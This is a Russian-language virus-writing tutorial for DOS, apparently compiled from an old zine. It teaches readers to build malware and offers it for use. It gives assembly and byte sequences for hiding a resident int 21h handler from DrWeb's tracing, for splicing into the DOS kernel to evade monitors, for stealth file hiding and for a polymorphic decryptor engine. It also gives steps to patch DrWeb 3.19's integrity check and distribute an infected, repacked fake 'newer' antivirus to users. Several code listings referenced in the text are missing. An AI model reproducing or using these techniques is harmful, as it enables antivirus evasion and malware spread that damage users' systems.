Фирма IBM сделала большой подарок технокрысам, зарезервировав часть векторов для исключительно личных нужд. Да-да, откройте Interrupt List и посмотрите, что int 81h-EFh зарезервированы под интерпритатор бейсика и другие программы их не используют. А это целых 440 байт. Там (с некоторым риском) можно уместить небольшой кусок кода. Второй упомянутой мною областью является область загрузки. Это 256 байт с 0000:0600h по 0000:0700h (или если угодно 0060:0000-0070:0000 :) Туда загружается MBR при включении компьютера и никогда больше не используется. Еще одним препятствием является эвристический анализ DrWeb'а Проблема в том, что это глюкало выполняет трассировку прерываний, и если на пути встретится блок, который лежит не как все в начале, а в конце, то дико вопит. Если, например, оставить резидент с помощью вышеприведенного примера и включить в него обработчик int 21h, то его сразу обнаружит web. Что делать? Для этого достаточно сделать так, чтобы веб до него в пошаговом режиме не дошел. Как? Элементарно. Надо оставить в памяти два куска - один основной в конце памяти как и раньше, а второй в одной из свободных областей, который детектирует проход в пошаговом режиме и подсовывает вебу реальный обработчик прерывания, тем самым не давая дойти до основной копии. Некоторые вирмейкеры отлавливают проход в пошаговом режиме с помощью всяких выкрутасов со флагами, конвейером и прочими, а я поступаю проще - переназначаю адрес int 1, то есть если включен пошаговый режим, то сразу выполнится наша процедура. Вот и маленький но полезный кусочек кода :-)
0000:0600: 6650 push eax 0000:0602: 66B828060000 mov eax,00000628 0000:0608: 662E87060400 xchg dword ptr cs:[0004],eax 0000:060E: 662E87060400 xchg dword ptr cs:[0004],eax 0000:0614: 6658 pop eax 0000:0616: EB0B jmp short 0623 0000:0618: 2EC60617060B mov byte ptr cs:[0617],0B 0000:061E: EA01010101 jmp 0101:0101 0000:0623: EA02020202 jmp 0202:0202 0000:0628: 2EC606170600 mov byte ptr cs:[0617],00 0000:062E: CF iret
теперь достаточно скопировать эти 47 байт по адресу 0000:0600, установить адрес int 21h на начало, по адресу 061F (то бишь вместо 01010101) записать адрес старого обработчика, а по адресу 0624 (вместо 02020202) поставить адрес вирусного обработчика прерывания. Все! Веб молчит. Всякие прочие антивирусные сканеры его также не заметят. Но вам может показаться, что сидеть в этом месте опасно? да, Данилофф когда-нибудь догадается о тайном значении этого адреса и что? А ничего! Мы можем с большим успехом поместить эту проверку и в другой области. Какой? А, к примеру, затереть часть самого первого environment'а у comman.com или у какой-нибудь резидентной программы. Там ведь все равно хранится всякая лабуда типа Path, Comspec, Prompt, имя программы, которые не используются, когда программа уже резидентна. То есть мы паразитируем на резидентах! Эксперименты по этому поводу я оставляю на ваше самостоятельное изучение, должны же вы в конце концов делать что-то сами ;)
[AK]Итак, рассмотрим ситуацию, когда зараженная программа заускается. До программы в нижней памяти будут находится системные данные системы и резиднты, а программе выделится фрагмен во всю оставшуюся память:
0000 +------------+ | DOS | +------------+ | Resident 1 | +------------+ | Resident 2 | +------------+ | Resident 3 | +------------+ | Program | | | | | | | | | | | | | A000 +------------+
Теперь вспомним, как мы остаемся резидентом из вируса - мы уменьшаем блок памяти и копируем тело в конец памяти:
0000 +------------+ | DOS | +------------+ | Resident 1 | +------------+ | Resident 2 | +------------+ | Resident 3 | +------------+ | Program | | | | | | | | | +------------+ | Virus | A000 +------------+
Неудивительно, что при таком раскладе вирус очень заметен в дампе. Наша задача заключается в том, чтобы сесть по порядку за резидентами, не испортив самой программы:
0000 +------------+ | DOS | +------------+ | Resident 1 | +------------+ | Resident 2 | +------------+ | Resident 3 | +------------+ | Virus | +------------+ | Program | | | | | | | | | A000 +------------+
Для этого есть два похожих способа, которые зависят от метода заражения программы. Если наш вирус приписывает себя к началу программы, то при загрузке зараженной программы вирус как бы уже находится на нужном месте и нам следует только настроить окружение программы так будто она загружена отдельно. Это можно сделать вручную путем всяческих выкрутасов с блоками, PSP и прочими гадостями, а можно сделать проще - повторно запустить эту программу. Вирус-то ведь уже резидентен, поэтому вторая копия просто вылечит основную программу и передаст ей управление. Сложнее обстоит дело если вирус дописывается в конец или середину. Но ненамного. Мы просто пересылаем себя в нужное место и передаем управление копии, которая сидит там где надо, освободив старый кусок:
0000 +------------+ | DOS | +------------+ | Resident 1 | +------------+ | Resident 2 | +------------+ | Resident 3 | +------------+ | Virus ----+ +------------+ | | | | | | | | | | +------------+ | | Virus ----+ A000 +------------+
Ну, надеюсь, вы поняли идею. Как уже повелось добавим процедуру резидентности к нашему старенькому Smiley. Наш новый :) вирь назовем Smiley.LowMem:
Да, замечу, что основная сложность здесь состоит в правильном поиске имени запущенной программы и передаче всех параметров на вторую копию.
[AK]Это уже нетривиальная задача, так как опять-таки различные мониторы используют различные методы проверок. Основной метод - запоминание текущего адреса и проверка его после запуска очередной программы. Таким образом, если запустить зараженную программу, то она поменяет адрес вектора и монитор это сразу заметит. Как бороться с этой проблемой? очевидно что нужно перехватить прерывание так, чтобы оно было перехвачено, но адрес первого обработчика не изменился. Как это сделать? Для этого достаточно заменить первые несколько байт обработчика прерывания на собственный вызов, а потом при передаче управления эти байтики восстановить.
Поясню графически: То есть наша задача - сделать так, чтобы наш обработчик вызывался из середины цепочки обработчиков. Например, если у нас есть несколько резидентов, которые перехватывают прерывание int 21h:
+--------------+ +--------------+ +--------------+ +-------+ | Обработчик 1 |---| Обработчик 2 |---| Обработчик 3 |---|+ DOS | +--------------+ +--------------+ +--------------+ +-------+
То нам надо сделать так, чтобы вирус вызывался после того, как отработает один из них:
+--------------+ +--------------+ +--------------+ +-------+ | Обработчик 1 |+ +| Обработчик 2 |---| Обработчик 3 |---| DOS | +--------------+| |+--------------+ +--------------+ +-------+ | | +---+ +---+ |+-------+| +| Virus |+ +-------+
Очередной неплохой идеей является встраивание вируса после того как отработают все обработчики. Почему? Потому что одним из этих обработчиков может быть сам монитор, делающий всякие пакостные и непредсказуемые проверки.
+--------------+ +--------------+ +--------------+ +-------+ | Обработчик 1 |---| Обработчик 2 |---| Обработчик 3 |+ +| DOS | +--------------+ +--------------+ +--------------+| |+-------+ | | +---+ +---+ |+-------+| +| Virus |+ +-------+
Итак, что же от нас, наконец, требуется? Нам надо проследить ход выполнения вызова, поймать то место, откуда вызывается само ядро системы. То есть как будто бы мы загрузили отладчик, вручную прошли по всем обработчикам и дошли до DOS. Как это сделать в вирусе? Очень просто - ведь в процессоре есть режим пошагового выполнения, в котором после каждой команды вызывается int 1. Нам только остается перехватить int 1, включить пошаговый режим, передать управление обработчику прерывания и пройти в пошаговом режиме до самого ядра и заменить первые несколько байт в ядре на JMP FAR. Здесь есть сразу несколько замечаний:
Итак, мы прошлись по цепочке обработчиков и поставили FAR JMP или INT xx (неиспользуемое прерывание) вместо кода ядра (старые байтики сохранить не забыли?;). Когда произойдет вызов прерывания и все мерзкие мониторы сделают свои идиотские прверки управление передастся нашему вирусу, и он может деалать свои темные делишки. Но:
Для тех, кому выполнять проход по цепочке сложновато можно предложить сделать промежуточное - поставить JMP на первом же обработчике и не заботиться о сложных выкрутасах с вызовом int, проверкой ядра и т.п. А вот проход превых команд обработчика придется оставить.
Все описанное называется Сплайсинг. Я изложил только идею. Новичкам это не особенно нужно, да и тяжеловато, а для продвинутых уже есть готовая статья и кусок кода в IV1 и IV7.
[AK]Итак, что же такое стелс ака вирус-невидимка? Это такой вирус, который будучи активным скрывает свое присутствие в зараженных файлах. Как это делается? Вирус перехватывает все функции работы с файлами и если операция выполняется над зараженным файлом, то вирус подставляет вместо зараженного файла вылеченный. Делать это можно по крайней мере двумя способами - лечить на лету, то есть при каждом обращении к файлу производить лечение куска в памяти и возвращать его. А можно вылечить программу в некоторый временный файл и работать с ним. Кроме того, не слудет забывать не только про функции работы с файлами, но и про функции чтения каталога - там ведь хранится их длина, так что скрыть реальную длину файла тоже придется :) Ну что-то заболтался я. Вот собственно наш старенький Smiley, с небходимыми дополнениями, который является стелсом, используя второй способ.
Сразу хочу заметить несколько недостатков этого вируса:
Но тем не менее несмотря на кучу недостатков этот зверек работает :)
Да, кстати, я не сказал про бутовые стелсы. Но вы наверное уже догадались :) Идея в том, что при чтении зараженного бута вирус подставляет исходный бут, а при чтении сектора где вирус хранит свое тело он возвращает нули, ну и записывать в эти сектора не дает :) Рисовать тут бутовый стелс мне лениво, да там и делов-то на 50 байт, сами справитесь ;)
ps Вот все вокруг кричат стелс-стелс, а я лично ничего особенно замечательного в этом не вижу. С одной стороны это конечно хорошо, глупый юзверь нажмет F3 и ничего не заметит, но с другой плохо - гадкие адинфы начнут ругаться, да еще лишнюю услугу антивирусникам оказываем - вирус содержит готовую работоспособную процедуру лечения.
[AK]
Сначала нам надо придумать алгоритм работы дешифровщика. Пусть наш дешифровщик работает по такому:
lea sp, coded @1: pop r1...r7 <coding> push r1...r7 add sp,16 cmp sp,end jc @1
Необходимо пояснить, что pop и push - это вытаскивание и заталкивание в стек 7 регистров в случайном порядке. а структура обозначенная coding - это набор случайных операций между регистрами. Например:
add ax,si rol ah,1 xor cl,dh inc bx xchg di,bp
Заметьте, что использются все базовые ригистры процессора: sp для стека и 7 (ax,bx,cx,dx,si,di,bp) для кодирования.
Замечу еще несколько меленьких хитростей, которые реализованы в алгоритме:
jnc @2 lea bx,@1 jmp bx @2:
таким образом нигде не используя вычислений.
mov ds,ax mov bl,4 mov [bx],coded mov ax,[bx] mov ds,sp xchg sp,ax
таким образом мы пакостим в int 1, сбивая с толку эмулятор и вместе с использованием стека затрудянем отладку в реальном режиме процессора.
Ладно, теперь составим список возможных операций. Для этого составим табличку, где будут указаны длина, тип команды, список разрешенных регистров и коды операций. Не забудьте, что нам надо не только дешифратор, но еще и шифратор, который состоит из противоположных команд и который будет создаваться одновременно с шивратором в обратном порядке. То есть если будут команды
pop ax pop cx pop dx sub ax,cx xchg dx,cx xor al,15 inc dx push cx push ax push dx
то шифратор дожен быть вида:
pop dx pop ax pop cx dec dx xor al,15 xchg dx,cx add ax,cx push dx push cx push ax
А теперь посмотрите как просто реализовать полиморфный дешифратор. Откопилируйте и запустите следующую программу, она создаст файл tt.com - запустите и его, не бойтесь.
.model tiny .code .386 .startup org 100h mov ax,cs add ax,4096 mov es,ax xor di,di mov cx,_end1 - _beg1 push cx lea si,_beg1 rep movsb pop cx call DoMorphing push cx push cs pop ds lea dx,fnam mov ah,3Ch xor cx,cx int 21h xchg bx,ax push es pop ds pop cx mov dx,100h mov ah,40h int 21h mov ah,3Eh int 21h mov ah,4Ch int 21h fnam byte 'tt.com',0 _beg1: mov dx,108h ;3 mov ah,9 ;2 int 21h ;2 retn ;1 byte 'Если вы читаете это сообщение, то HarmWare Morph Engine 2.00',13,10 byte 'работает правильно :)',13,10,36 _end1: include morph.inc END
[AK]Если у нас есть готовая ME, то написание полиморфика можно считать делом простым. Возьмем наш старый вирус Smiley и допишем из него полиморфик :)
Кстати, хочу напомнить вам, что этот вирус будет обнаруживаться вебом в памяти в подозрении на вирус потому что мы не использовали приемов маскировки. Не забывайте об этом. Да и вообще, когда напишете полиморфик погоняйтесь за ним с эвристикой.
К сожалению автор данного текста неизвестен. Если он откликнется буду премного благодарен.
Обсyждение механизмов полимоpфик-виpyсов стало самой интеpесной темой в этой эхе за последние 2-3 месяца, поэтомy я pешил тоже сказать несколько слов по этомy поводy. В, основном, я систематизиpyю все идеи, yже высказывавшиеся здесь т.к. они по большей части как pаз то, над чем я сам дyмал в последнее вpемя.
Для большей ясности изложy все это виде FAQ:
Q: Можно ли написать виpyс, от котоpого нельзя вылечить заpаженнyю пpогpаммy?
A: В общем слyчае нет. Т.к. виpyс выполняет действия по восстановлению пpогpаммы в исходном виде, чтобы она сохpаняла pаботоспособность. Поэтомy человек всегда может пpоследить эти действия и воспpоизвести их для полyчения pаботоспособного экземпляpа _конкpетной_ пpогpаммы. HО задачy анализа можно yсложнить настолько, что антивиpyс и даже человек окажyтся неспособны pешить ее за пpиемлемое вpемя с достаточной степенью достовеpности.
Один из возможных пyтей - использование метода Unknown Entry Point.
Q: Что такое метод Unknown Entry Point?
A: Это метод заpаженя пpогpамм, пpи котоpом точка "выхода" из пpогpаммы в виpyс выбиpается слyчайным обpазом. Возможный механизм его pеализации: В заpажаемом файле ищется пpоизвольный pелокейшен, соответствyющий команде CALL FAR xxxx:yyyy и заменяется на пеpеход на виpyс. Т.о. точка входа, а точнее сказать, выхода из пpогpаммы в виpyс неизвестна Она может соответствовать вызовy какой-либо малоиспользyемой пpоцедypы, поэтомy тpассиpовщик/эмyлятоp может не добpаться до этого места пpогpаммы вообще, либо исследовать слишком большой кyсок кода до этого места, что непpиемлимо из-за непpедсказyемо большого вpемени его pаботы. Логическим pазвитием этого метода является метод Multi Entry Point
Q: Что это за метод - Multi Entry Point?
A: Пpосто выбиpается Random(N) подхдящих точек для внедpения и CALL'ы коppектиpyятся как описано выше. Таким обpазом нахождение эмyлятоpом одной или даже нескольких точек входа и выкyсывание виpyса не означает, что пpгpамма бyдет после этого pаботать. Ведь могло остаться некотоpое количество не вызывавшихся пpоцедyp -> неиспpавленных вызовов виpyса. Виpyс бyдет вызываться несколько pаз, что повышает его живyчесть т.к. если его yдалили из памяти, то имеется возможность пpоинсталлиpоваться снова.
Естественно, каждой точке выхода из пpогpаммы должна соответствовать своя точка входа в полимоpфик-дешифpатоp виpyса.
Q: Где гаpантия, что пpогpамма пpеpванная в пpоизвольном месте бyдет коppектно pаботать дальше? Hе затpет ли она код виpyса о котоpом, естественно ничего не знает?
A: Гаpантий никаких. Однако можно добиться максимально возможной коppектности виpyса, сохpаняя все pегистpы. Чтобы код виpyса слyчайно не затеpли его можно поместить _до_ пpогpаммы, pаздвинyв EXE файл и испpавив все pелокейшены. Конечно, было бы лyчше писать тело виpyса в пpоизвольное место пpогpаммы для затpyднения поиска, но тогда жиснеспособность заpаженной пpгpаммы под большим вопpосом.
Q: А почемy бы не отловить такой виpyс, пpосто запyская пpогpаммy, пеpехватив вектоpа пpеpываний, напpимеp 21h? Виpyс бyдет вызывать его, хотя бы для тpассиpовки и нахождения истинного вектоpа. В памяти бyдет его голый код...
A: Hy, во пеpвых, ничто не мешает пpоцедypy тpассиpовки тоже сделать полимоpфной и голого кода не бyдет. А во втоpых, виpyсy не обязательно вообще оставаться pезидентным пpи запyске из файла. Он может заpазить MBR и оставаться pезидентом, только стаpтyя из него, что сyщественно пpоще в плане поиска места в памяти.
А пеpехватчик 13h... Можно ведь один сектоp и чеpез поpты записать. Это только звyчит стpашно, а на самом деле все не так сложно. И лишние несколько сотен байт не кpитичны для совpеменного виpyса.
Q: Так что же, можно написать виpyс, котоpый нельзя обнаpyжить в пpогpамме?
A: Можно написать виpyс, котоpый нельзя со 100% yвеpенностью опpеделить в каждой пpогpамме. Равно как и выличить со 100% гаpантией, если известно что он есть.
Это и есть напpавление, в котоpом бyдyт pазвиваться виpyсы в ближайшие несколько лет. Развиваться в стоpонy yвеличения вpемени и интеллектyальных yсилий, необходимых для их обнаpyжения и лечения. В конечном итоге мы пpийдем к ситyации когда эти затpаты станyт непpопоpционально велики по сpавнению с ценностью пpогpаммы и бyдет пpоще достать дистpибyтив, чем долго лечить ее с сомнительным pезyльтатом.
[AK]Это тоже несложно. Фаги глупы и неповоротливы. Даже с эвристическим анализом. Итак, чтобы воспрепятствовать эвристическому анализу собственного кода небходимо зашифровать тело вируса. Но эвристик может проанализировать нашу процедуру и дешифровать основное тело, да еще и завопить что мол CRYPT.VIRUS. Делается все намного проще чем вы думаете. Так как эвристик обычно работает в сегменте в 64к, то первая же оперция с данными за пределами сегмента приводит его в состояние легкого шока, а межсегментная передача управления заставляет его забыть собственную мамочку :) Есть люди (не будем показывать пальцем), которым доставляет удовольствие искать дыры в самом эмуляторе и писать программы, которые эмулируются неправильно. Мы не будем углубляться в дебри и пойдем напролом:
Итак, что же делает это маленький, но полезный кусок? Он создает в таблице векторов процедуру дешифрации, а затем вызывает ее. Кроме того есть два плюса - 1) затираем вектор int 1, что усложняет отладку в реальном режиме 2) используем для вызова безобидный int 20 - накалываем эвристик и тут. Можете изучить работу этой программки - она безобидна, просто печатает сообщение на экран, но тем не менее не опознается как зашифрованная. Какие же выводы мы можем сделать из этого? А такие:
То есть если мы завяжем алгоритм дешифрации с одним из этих пунктов, то эвристик тихо и мирно загнется. Использование памяти мы уже изучили, а в качестве аппаратных выкрутасов могу порекомендовать проход собственного кода в отладочном режиме с покомандной дешифрацией, завязка на таймер или порты. Закрыть все эти дыры в эвристиках просто невозможно, так что у вас простор для фантазии.
[AK]Это, кажется, самый больной вопрос для новичка. На самом деле все не так сложно - обыкновенная аккуратность. Итак, наш вирус должен заражать нужные файлы и не должен заражать все подряд. Для этого существует несколько методов:
Очевидно, что после окончательной отладки необходимо привести все к нормальному виду.
Бывает также, что хочется в процессе работы антиотладочного механизма узнать содержимое регистров или памяти. Для этого я пользуюсь своими макросами для MASM'а:
Теперь можете вставлять эти два файла в свой вирус и распечатывать значения регистров или памяти. Например:
.model tiny .386 .code .startup org 100h _beg: jmp _beg2 include debug.inc include msg.inc _beg2: @Message 'Ax=',ax push 0 pop ds @Message 'dword ds:[0]=', ds:[0] retn
Еще одним наболевшим вопросом является опасность заражения своей машины уже выпущенным зверьком. Что делать? Ответ также очевиден. Вирус должен считать что он уже резидентен! Таким образом вирус активизируется из запущенной программы, но не остается резидентом и не заражает файлы. Надеюсь вы умеете уже делать проверку на повторное заражение памяти? ;) Посмотрим нужный кусок из нашего всем надевшего Smile
mov ax,1E03h int 21h cmp ax,031Eh jz _no .... _check: xchg ah,al iret _int21: cmp ax,1E03h jz _check
Вспомнили что делает эта вещь? Правильно. Не дает вирусу остаться в памяти повторно. А что будет если какая-то программа будет возвращать это значение всегда? Очевидно что вирус не сядет в память вообще :) Итак, все что от нас требуется - написать маленький резидент, по сути дела вакцину:
[AK]Лучше всего распространять вирусы под видом антивирусов :) Да-да. Логика проста. Человек, который не боится вирусов сможет их сам обнаружить и, возможно, вылечить. Таких людей антивирусы не возбуждают. А те, кто в страхе прячутся под стол от дного этого слова будут слепо копировать все имеющиеся антивирусы. Ну и получат свой подарок. Теперь несколько слов о том, как это сделать.
Рассмотрим DrWeb. Это наиболее популярная лечилка среди кноподавочных посредственностей. Устроим-ка ему рекламу :)
DrWeb выполняет проверку на зараженость своего тела и орет благим матом в случае чего. К счастью он не содержит антиотладочных приемов и мы можем похакать веб перед заражением.
Итак, загружаем в отладчик drweb 3.19 (предварительно распаковав) и находим код:
0e6d:2dba e8e804 call 32a5 0e6d:2dbd 803eda0701 cmp byte ptr [07da],01 0e6d:2dc2 c606da0700 mov byte ptr [07da],00 0e6d:2dc7 7403 jz 2dcc 0e6d:2dc9 e85d27 call 5529 0e6d:2dcc
Это и есть то злополучное место проверки своей целостности. Последний call рисует паршивую рамочку и играет мерзкую музычку. Так что найдя это место в ехе-файле и исправив 74 на EB мы отучим веб от этой пагубной привычки. Теперь смело изменяйте номер версии на 3.20 или еще выше, увеличивайте на полторы сотни число излечиваемых вирусов и ставте заврашнее число.
Все. У нас есть fake-web, котрый тем не менее будет лечить старые вирусы (ну и пусть лечит, главное чтоб нас не видел).
Теперь нам надо заразить этот файл работоспособной версией вируса. Не забудьте удалить все заглушки, котырые вы вставляли для отладки (лучше ведите список таких заглушек чтобы чего не упустить). Итак, имеем подготовленный web (это, кстати, может быть и другой файл - вдруг одному чудаку захотелось срочно переписать descent - он его получит :) и имеем свежеоткомпилированный вирь. Осторожно не запустите, а то будете как я однажды в 5 утра писать антивирус :)
Теперь создаем системную дискету. Все умеют? ;) Записываем туда подопытный файл и чистенький вирус. Перезагружаемся. Отключаем винчестер в BIOS и грузимся с системной дискеты. Теперь прямо с дискетки запускаем вирь и следом за ним наш ехе-шник (или сом-ушник, если вирь требует). Вообще говоря создаем ситуцию чтобы вирус заразил нашу программу. Кому как не вам знать когда это произойдет. :) Опять включаем винт и загружаемся с него.
Последний этап. Необходимо запаковать зараженный файл с помощью pklite, lzexe, diet или чего подобного, дабы пытливый обыватель не изучал в hiew наш код. А если вы хотите сделать чтобы нельзя было и распаковать файл, то воспользуйтесь советами, данными в Infected Moscow #1 и Infected Voice #10.
ps Кстати, данная сигнатура действительна только для drweb 3.19. В новых версиях адреса всех меток сдвигаются и сигнатура становится иной, но по сути команды остаются прежними. Так что поищите похожий фрагмент с помощью hiew или qview.
[AK]Когда пишете вирус все кажется простым и понятным, но потом оказывается что вы чего-то не предусмотрели, что то, что вы делали можно было сделать проще и т.п. Вот несколько моментов, которые важно помнить: